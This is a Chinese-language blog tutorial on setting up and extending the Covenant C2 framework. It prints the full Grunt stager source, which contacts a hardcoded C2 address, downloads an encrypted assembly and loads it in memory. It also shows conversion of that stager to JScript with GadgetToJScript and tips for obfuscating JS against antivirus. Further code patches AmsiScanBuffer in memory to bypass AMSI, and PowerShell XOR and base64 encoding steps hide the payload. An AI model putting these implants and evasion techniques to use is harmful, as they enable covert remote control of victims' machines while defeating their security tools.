开源C2:Covenant学习

分享者才是学习中最大的受益者!

Covenant

前言

C2技术在红蓝对抗种,重要性不言而喻,现在师傅们热衷于CobaltStrike,它确实是一个不错的C2。

但是因为一些付费等等方面的原因,使用起来也不是很方便。

今天学习一下Covenant,一款源码级别的 Csharp C2,向师傅们致敬!

抱着学习的态度 写的就啰嗦了一点,望师傅们见谅!

优点

1.它是基于Windows系统,开发语言是Csharp,属于微软的东西

2.DotNet版本要求 > 3.5,使用Windows .NET的好处是:它支持静默安装

命令

  1. dotNetFx40_Full_x86_x64.exe /q /norestart /ChainingPackageFullX64Bootstrapper
  2. /q静默安装
  3. /norestart 不要重启

3.可扩展性特别强,因为它本身提供了很多API接口 和 自定义功能

安装

Covenant它也分本地安装和docker安装(推荐后者)

具体可以看这里:https://github.com/cobbr/Covenant/wiki/Installation-And-Startup

以docker安装作为演示

注:需要科学上网

  1. sudo apt install proxychains4
  2. sudo apt install vim
  3. sudo vim /etc/proxychains4.conf
  4. proxychains git clone --recurse-submodules https://github.com/cobbr/Covenant
  5. cd Covenant/Covenant
  6. sudo docker build -t covenant .

image-20211116143606279

启动

  1. sudo docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v /home/dayu/Covenant/Covenant/Data:/app/Data covenant
  2. -it参数:Docker参数,在交互式tty中开始Covenant,如果不想附加到tty,可以将其排除
  3. -p参数:将端口公开到Covenant Docker容器。这个是必须将公开端口7443和要启动侦听器的任何其他端口。
  4. -v参数:在主机和容器之间创建一个共享的数据目录
  5. 要指定数据目录的绝对路径,不能使用相对路径
  6. 注:一定要把Covenant映射到Docker镜像里面对应的目录,如果没有的话,就跑不起来,因为所有的功能模块都在Data目录里面

注:移除所有Covenant数据并进行初始化恢复

执行命令:

  1. docker rm covenant docker run -it -p 7443:7443 -p 80:80 -p 443:443 --namecovenant -v :/app/Data covenant--username AdminUser --computername 0.0.0.0

image-20211116144504740

报错 80端口被占用

image-20211116152808788

  1. sudo netstat -nultp
  2. sudo service apache2 stop
  3. #关闭Apache2服务

image-20211116152843034

重新启动一下

这次指定一下本地的 IP

  1. sudo docker run -d -p 127.0.0.1:7443:7443 -p 80:80 -p 443:443 --name covenant -v /home/dayu/Covenant/Covenant/Data:/app/Data covenant

image-20211116154050851

  1. sudo docker ps -l

image-20211116154111984

docker命令小合集

  1. docker images 列出所有镜像
  2. docker rmi -f id 删除镜像id
  3. docker ps 列出所有容器
  4. docker ps -a 查看曾经运行的容器
  5. docker rm -f id 删除容器

访问

  1. https://127.0.0.1:7443

刚开始 会让我们 注册一个用户

image-20211116154419034

成功登录

image-20211116154605379

实操使用

Listeners

创建监听

image-20211116154638067

image-20211116155132074

image-20211116155227117

注:这里HttpProfile 我选择的是:DefaultHttpProfile

创建完成

image-20211116172121285

默认的HttpProfile

可以看到有四个

image-20211116155359092

可以打开新页(open Link in new Tab)去看一下

DefaultHttpProfile

image-20211116155958543

image-20211116160228862

image-20211116160650459

image-20211116160831693

image-20211116160923536

CustomHttpProfile

image-20211116161132509

下面基本是一样的

TCPBridgeProfile

具体写法可以参考这里:https://github.com/cobbr/C2Bridge

相当于一个模板

image-20211116201203590

image-20211116201228257

Launchers

image-20211116171330129

注:这10个生成方式 现在都是被杀软拦截的

以Binary为例

image-20211116171603383

image-20211116171754263

image-20211116171907191

image-20211116172623966

Templates

image-20211116173001083

上线测试

注:本地测试学习 杀软就关掉了

Grunts

image-20211116172859334

上线之后呢

会有一个提示

image-20211116191256608

image-20211116191415887

点一下 Name 即可进入交互界面

image-20211116191533576

下面这些 都是可以修改的

image-20211116191605612

image-20211116191703103

image-20211116192418284

image-20211116191807909

默认有很多默认的 可以执行的任务

image-20211116191848773

image-20211116192453186

Tasks

image-20211116192908958

image-20211116192932611

image-20211116193020620

image-20211116193139007

image-20211116193216188

image-20211116193259524

Taskings

历史执行过的命令

image-20211116193505600

Graph

image-20211116193551833

Data

实际获取到的内容

image-20211116193718881

image-20211116193918449

image-20211116194034104

image-20211116194056475

Users

image-20211116192710648

https://3xpl01tc0d3r.blogspot.com/2020/02/gadgettojscript-covenant-donut.html

这里是会弹一个MessageBox提示窗口

image-20211116231735243

image-20211116232230639

image-20211116232752194

  1. 1:判断传入的dllstring不为空
  2. 2:一个循环 将传入的dll`,`分隔
  3. 3:循环添加refdll

image-20211116234124628

image-20211116233150225

image-20211116233331348

继续

image-20211116233827330

image-20211116234308557

重新生成解决方案

继续

把Covenant的Binary Launcher的Code源码 扒过来

image-20211117170624875

这里贴一下 方便一些

  1. using System;
  2. using System.Net;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Text.RegularExpressions;
  6. using System.IO.Pipes;
  7. using System.Reflection;
  8. using System.Collections.Generic;
  9. using System.Security.Cryptography;
  10. namespace GruntStager
  11. {
  12. public class GruntStager
  13. {
  14. public GruntStager()
  15. {
  16. ExecuteStager();
  17. }
  18. [STAThread]
  19. public static void Main(string[] args)
  20. {
  21. new GruntStager();
  22. }
  23. public static void Execute()
  24. {
  25. new GruntStager();
  26. }
  27. public void ExecuteStager()
  28. {
  29. try
  30. {
  31. List<string> CovenantURIs = @"http://192.168.175.209:80".Split(',').ToList();
  32. string CovenantCertHash = @"";
  33. List<string> ProfileHttpHeaderNames = @"VXNlci1BZ2VudA==,Q29va2ll".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
  34. List<string> ProfileHttpHeaderValues = @"TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDEuMC4yMjI4LjAgU2FmYXJpLzUzNy4zNg==,QVNQU0VTU0lPTklEPXtHVUlEfTsgU0VTU0lPTklEPTE1NTIzMzI5NzE3NTA=".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList();
  35. List<string> ProfileHttpUrls = @"L2VuLXVzL2luZGV4Lmh0bWw=,L2VuLXVzL2RvY3MuaHRtbA==,L2VuLXVzL3Rlc3QuaHRtbA==".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList();
  36. string ProfileHttpPostRequest = @"i=a19ea23062db990386a3a478cb89d52e&amp;data={0}&amp;session=75db-99b1-25fe4e9afbe58696-320bea73".Replace(Environment.NewLine, "\n");
  37. string ProfileHttpPostResponse = @"<html>
  38. <head>
  39. <title>Hello World!</title>
  40. </head>
  41. <body>
  42. <p>Hello World!</p>
  43. // Hello World! {0}
  44. </body>
  45. </html>".Replace(Environment.NewLine, "\n");
  46. bool ValidateCert = bool.Parse(@"false");
  47. bool UseCertPinning = bool.Parse(@"false");
  48. Random random = new Random();
  49. string aGUID = @"518387fa18";
  50. string GUID = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
  51. byte[] SetupKeyBytes = Convert.FromBase64String(@"rrONV/NTSPl4sU0FVzoK1TxidURN/ORaK0Yh6sMzG24=");
  52. string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";
  53. Aes SetupAESKey = Aes.Create();
  54. SetupAESKey.Mode = CipherMode.CBC;
  55. SetupAESKey.Padding = PaddingMode.PKCS7;
  56. SetupAESKey.Key = SetupKeyBytes;
  57. SetupAESKey.GenerateIV();
  58. HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
  59. RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());
  60. byte[] RSAPublicKeyBytes = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
  61. byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
  62. byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey);
  63. string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));
  64. ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls;
  65. ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) =>
  66. {
  67. bool valid = true;
  68. if (UseCertPinning &amp;&amp; CovenantCertHash != "")
  69. {
  70. valid = cert.GetCertHashString() == CovenantCertHash;
  71. }
  72. if (valid &amp;&amp; ValidateCert)
  73. {
  74. valid = errors == System.Net.Security.SslPolicyErrors.None;
  75. }
  76. return valid;
  77. };
  78. string transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
  79. CookieWebClient wc = null;
  80. string Stage0Response = "";
  81. wc = new CookieWebClient();
  82. wc.UseDefaultCredentials = true;
  83. wc.Proxy = WebRequest.DefaultWebProxy;
  84. wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials;
  85. string CovenantURI = "";
  86. foreach (string uri in CovenantURIs)
  87. {
  88. try
  89. {
  90. for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
  91. {
  92. if (ProfileHttpHeaderNames[i] == "Cookie")
  93. {
  94. wc.SetCookies(new Uri(uri), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", ""));
  95. }
  96. else
  97. {
  98. wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", ""), ProfileHttpHeaderValues[i].Replace("{GUID}", ""));
  99. }
  100. }
  101. wc.DownloadString(uri + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", ""));
  102. CovenantURI = uri;
  103. }
  104. catch
  105. {
  106. continue;
  107. }
  108. }
  109. for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
  110. {
  111. if (ProfileHttpHeaderNames[i] == "Cookie")
  112. {
  113. wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
  114. }
  115. else
  116. {
  117. wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
  118. }
  119. }
  120. Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
  121. string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0];
  122. extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
  123. List<string> parsed = Parse(extracted, MessageFormat);
  124. string iv64str = parsed[3];
  125. string message64str = parsed[4];
  126. string hash64str = parsed[5];
  127. byte[] messageBytes = Convert.FromBase64String(message64str);
  128. if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
  129. SetupAESKey.IV = Convert.FromBase64String(iv64str);
  130. byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
  131. byte[] FullyDecrypted = rsa.Decrypt(PartiallyDecrypted, true);
  132. Aes SessionKey = Aes.Create();
  133. SessionKey.Mode = CipherMode.CBC;
  134. SessionKey.Padding = PaddingMode.PKCS7;
  135. SessionKey.Key = FullyDecrypted;
  136. SessionKey.GenerateIV();
  137. hmac = new HMACSHA256(SessionKey.Key);
  138. byte[] challenge1 = new byte[4];
  139. RandomNumberGenerator rng = RandomNumberGenerator.Create();
  140. rng.GetBytes(challenge1);
  141. byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
  142. hash = hmac.ComputeHash(EncryptedChallenge1);
  143. string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
  144. transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));
  145. string Stage1Response = "";
  146. for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
  147. {
  148. if (ProfileHttpHeaderNames[i] == "Cookie")
  149. {
  150. wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
  151. }
  152. else
  153. {
  154. wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
  155. }
  156. }
  157. Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
  158. extracted = Parse(Stage1Response, ProfileHttpPostResponse)[0];
  159. extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
  160. parsed = Parse(extracted, MessageFormat);
  161. iv64str = parsed[3];
  162. message64str = parsed[4];
  163. hash64str = parsed[5];
  164. messageBytes = Convert.FromBase64String(message64str);
  165. if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
  166. SessionKey.IV = Convert.FromBase64String(iv64str);
  167. byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
  168. byte[] challenge1Test = new byte[4];
  169. byte[] challenge2 = new byte[4];
  170. Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
  171. Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
  172. if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test)) { return; }
  173. SessionKey.GenerateIV();
  174. byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
  175. hash = hmac.ComputeHash(EncryptedChallenge2);
  176. string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
  177. transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));
  178. string Stage2Response = "";
  179. for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
  180. {
  181. if (ProfileHttpHeaderNames[i] == "Cookie")
  182. {
  183. wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID));
  184. }
  185. else
  186. {
  187. wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID));
  188. }
  189. }
  190. Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
  191. extracted = Parse(Stage2Response, ProfileHttpPostResponse)[0];
  192. extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
  193. parsed = Parse(extracted, MessageFormat);
  194. iv64str = parsed[3];
  195. message64str = parsed[4];
  196. hash64str = parsed[5];
  197. messageBytes = Convert.FromBase64String(message64str);
  198. if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
  199. SessionKey.IV = Convert.FromBase64String(iv64str);
  200. byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
  201. Assembly gruntAssembly = Assembly.Load(DecryptedAssembly);
  202. gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, CovenantCertHash, GUID, SessionKey });
  203. }
  204. catch (Exception e) { Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace); }
  205. }
  206. public class CookieWebClient : WebClient
  207. {
  208. public CookieContainer CookieContainer { get; private set; }
  209. public CookieWebClient()
  210. {
  211. this.CookieContainer = new CookieContainer();
  212. }
  213. public void SetCookies(Uri uri, string cookies)
  214. {
  215. this.CookieContainer.SetCookies(uri, cookies);
  216. }
  217. protected override WebRequest GetWebRequest(Uri address)
  218. {
  219. var request = base.GetWebRequest(address) as HttpWebRequest;
  220. if (request == null) return base.GetWebRequest(address);
  221. request.CookieContainer = CookieContainer;
  222. return request;
  223. }
  224. }
  225. public static List<string> Parse(string data, string format)
  226. {
  227. format = Regex.Escape(format).Replace("\\{", "{").Replace("{{", "{").Replace("}}", "}");
  228. if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); }
  229. if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); }
  230. if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); }
  231. if (format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); }
  232. if (format.Contains("{4}")) { format = format.Replace("{4}", "(?'group4'.*)"); }
  233. if (format.Contains("{5}")) { format = format.Replace("{5}", "(?'group5'.*)"); }
  234. Match match = new Regex(format).Match(data);
  235. List<string> matches = new List<string>();
  236. if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); }
  237. if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); }
  238. if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); }
  239. if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); }
  240. if (match.Groups["group4"] != null) { matches.Add(match.Groups["group4"].Value); }
  241. if (match.Groups["group5"] != null) { matches.Add(match.Groups["group5"].Value); }
  242. return matches;
  243. }
  244. public static class MessageTransform
  245. {
  246. public static string Transform(byte[] bytes)
  247. {
  248. return System.Convert.ToBase64String(bytes);
  249. }
  250. public static byte[] Invert(string str) {
  251. return System.Convert.FromBase64String(str);
  252. }
  253. }
  254. }
  255. }

注:这里可以把路径简写 看着方便点

  1. prompt study
  2. cd 查看目录

打开vs studio开发者模式

image-20211117170511975

image-20211116235559754

切换目录

编译cs文件

  1. csc /t:exe Grunt.cs

image-20211117180733672

执行一下

image-20211117180858385

上线了

image-20211117180934799

GadgetToJScript

前言

GadgetToJScript是一个Csharp的项目:https://github.com/med0x2e/GadgetToJScript

Covenant是一个.NET开发的C2(Command and Control)框架,旨在突出.NET的攻击面,并充当红队成员的协作命令和控制平台

使用.NET Core的开发环境,不仅支持Linux,MacOS和Windows,还支持docker容器

Covenant是支持动态编译,能够将输入的C#代码上传至C2 Server,获得编译后的文件并使用Assembly.Load()从内存进行加载

GadgetToJscript用于生成.NET序列化的工具,当使用基于JS/VBS/VBA脚本中的BinaryFormatter反序列化时,该工具可以触发.NET程序集加载/执行,同时相比James Forshaw的DotNetToJScript添加了绕过.Net 4.8+阻止Assembly.Load的功能。

两者结合学习

实操

下载的GadhetToJscript项目用Vistual Studio 2019打开

GadgetToJscript的编译过程属于动态编译,里面涉及到很多DLL的引用

定位到TestAssemblelyLoader.cs文件

编译生成GadgetToJScript.exe

由于grunt.cs代码中有两个命名空间不被包含在System.dll里

  1. 1System.Linq;
  2. 2System.IO.Pipes;

它们在System.Core.dll里,所以调用的时候我们需要手动添加System.Core.dll,在命令行输入:

  1. GadgetToJScript.exe -w js -f Grunt.cs -d System.Core.dll -o matrix
  2. -w 是输出文件的格式
  3. -d 是需要添加的dll,如果有多个可以用逗号隔开
  4. -f 是我们引入的csharp文件,这里我们选择刚才的 grunt.cs 测试
  5. -o 是输出的文件名
  6. 然后我们会得到名为matrix.js的文件,打开matrix.js文件。

image-20211119221843448

分析一下这个js文件

  1. stage_1:为了绕过Win10中对Assembly.load的限制
  2. stage_2:加载的核心程序集

image-20211119221910019

测试js文件,运行

  1. cscript matrix.js

JS文件的混淆免杀Tips

杀软一般标记的是变量名、字符串

1.针对字符串,可以把双引号和单引号去掉

比如

  1. 原先
  2. ("aaa")
  3. 转换成
  4. (/aaa/.source)

2.针对一些转义问题

原先 双引号中的\\就要替换成\

举例

  1. 原先的路径
  2. ("D:\\7-Zip\\1\\")
  3. 转换成
  4. (/D:\7-Zip\1/.source + '\\')

image-20211119222704258

内存修补Bypass AMSI

主要思路是通过找到内存中AmsiScanBuffer函数的位置,然后通过patch,让AmsiScanBuffer这个函数不再继续运行,直接在函数的开始让它返回一个0

后来微软进行了一次更新对.NET程序集AmsiScanBuffer的扫描结果必须返回一个有效值

0xb8, 0x57, 0x00, 0x07, 0x80,同时要加上0xC3(0xC3是return)

PatchAmsi.cs代码如下:

  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Reflection;
  6. using System.Runtime.InteropServices;
  7. namespace AMSI
  8. {
  9. public class Program
  10. {
  11. [DllImport("kernel32")]
  12. private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
  13. [DllImport("kernel32")]
  14. private static extern IntPtr LoadLibrary(string name);
  15. [DllImport("kernel32")]
  16. private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
  17. static void Main(string[] args)
  18. {
  19. new Program();
  20. }
  21. public Program()
  22. {
  23. Patch();
  24. }
  25. public static void Patch()
  26. {
  27. // Console.WriteLine("-- AMSI Patching");
  28. //Console.WriteLine("-- Paul (@am0nsec)\n");
  29. // Get the DllCanUnload function address
  30. IntPtr hModule = LoadLibrary("amsi.dll");
  31. //Console.WriteLine("[+] AMSI DLL handle: " + hModule);
  32. IntPtr dllCanUnloadNowAddress = GetProcAddress(hModule, "DllCanUnloadNow");//AmsiScanBuffer
  33. //Console.WriteLine("[+] DllCanUnloadNow address: " + dllCanUnloadNowAddress);
  34. // Dynamically get the address of the function to patch
  35. byte[] egg = { };
  36. if (IntPtr.Size == 8)
  37. {
  38. egg = new byte[] {
  39. 0x4C, 0x8B, 0xDC, // mov r11,rsp
  40. 0x49, 0x89, 0x5B, 0x08, // mov qword ptr [r11+8],rbx
  41. 0x49, 0x89, 0x6B, 0x10, // mov qword ptr [r11+10h],rbp
  42. 0x49, 0x89, 0x73, 0x18, // mov qword ptr [r11+18h],rsi
  43. 0x57, // push rdi
  44. 0x41, 0x56, // push r14
  45. 0x41, 0x57, // push r15
  46. 0x48, 0x83, 0xEC, 0x70 // sub rsp,70h
  47. };
  48. }
  49. else
  50. {
  51. egg = new byte[] {
  52. 0x8B, 0xFF, // mov edi,edi
  53. 0x55, // push ebp
  54. 0x8B, 0xEC, // mov ebp,esp
  55. 0x83, 0xEC, 0x18, // sub esp,18h
  56. 0x53, // push ebx
  57. 0x56 // push esi
  58. };
  59. }
  60. IntPtr address = FindAddress(dllCanUnloadNowAddress, egg);
  61. // Console.WriteLine("[+] Targeted address: " + address);
  62. // Change the memory protection of the memory region
  63. // PAGE_READWRITE = 0x04
  64. uint oldProtectionBuffer = 0;
  65. VirtualProtect(address, (UIntPtr)2, 4, out oldProtectionBuffer);
  66. // Patch the function
  67. byte[] patch = { 0xb8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
  68. Marshal.Copy(patch, 0, address, 6);
  69. // Reinitialise the memory protection of the memory region
  70. uint a = 0;
  71. VirtualProtect(address, (UIntPtr)2, oldProtectionBuffer, out a);
  72. }
  73. private static IntPtr FindAddress(IntPtr address, byte[] egg)
  74. {
  75. while (true)
  76. {
  77. int count = 0;
  78. while (true)
  79. {
  80. address = IntPtr.Add(address, 1);
  81. if (Marshal.ReadByte(address) == (byte)egg.GetValue(count))
  82. {
  83. count++;
  84. if (count == egg.Length)
  85. return IntPtr.Subtract(address, egg.Length - 1);
  86. }
  87. else
  88. {
  89. break;
  90. }
  91. }
  92. }
  93. }
  94. }
  95. }

注:第一:代码中不能直接出现AmsiScanBuffer的字符串,否则会被amsi识别,所以替换成DllCanUnloadNow

用egg hunt的方式,以DllCanUnloadNow的函数地址为基址寻找AmsiScanBuffer函数的地址,再patch

第二:因为微软的更新,使得对.net Assembly.load的程序集扫描结果必须返回一个有效值,所以替换为0xb8,0x57,0x00,0x07,0x80后再加上return 0xC3

编译一下

image-20211119232115873

执行一下

image-20211119232136876

上WinDbg调试看看是否成功 Bypass Amsi

File-Attach

image-20211119232218285

定位到amsi 查看Patch是否成功

两者结合

以Grunt.exe作为例子

1.把exe读取到一个数组中

  1. [byte[]]$rawbytes = [System.IO.File]::ReadAllBytes("C:\Users\12550\Desktop\知识\项目学习\GadgetToJScript\GadgetToJScript-1.0\GadgetToJScript\bin\x64\Release\Grunt.exe")

2.查看exe的字符串大小

  1. $rawbytes.length

image-20211119230129292

3.简单异或0x77

  1. for ($i = 0; $i -lt $rawbytes.Length; $i++){$rawbytes[$i] = $rawbytes[$i] -bxor 0x77}

image-20211119230229026

4.base64编码一哈 并复制到剪切板

  1. [System.Convert]::ToBase64String($rawbytes) | clip

image-20211119230303563

放到PatchAmsi.cs文件中

image-20211119224900660

注意这里的Patch();

image-20211119230531276

image-20211119230839529

编译测试成功后命令行运行:

  1. GadgetToJScript.exe -w js -d System.Core.dll -f PatchASB.cs -o PatchASB

测试js文件,运行

  1. cscript matrix.js

ok! 就到这里

总结

Covenant是一个.NET命令和控制框架,二次开发的可扩展性不比其他的C2差

分享者才是学习中最大的受益者!

希望可以帮到各位师傅

</body></html>

  • 发表于 2021-11-29 09:44:05
  • 阅读 ( 7345 )
  • 分类:漏洞分析

0 条评论

略略略
略略略

36 篇文章

站长统计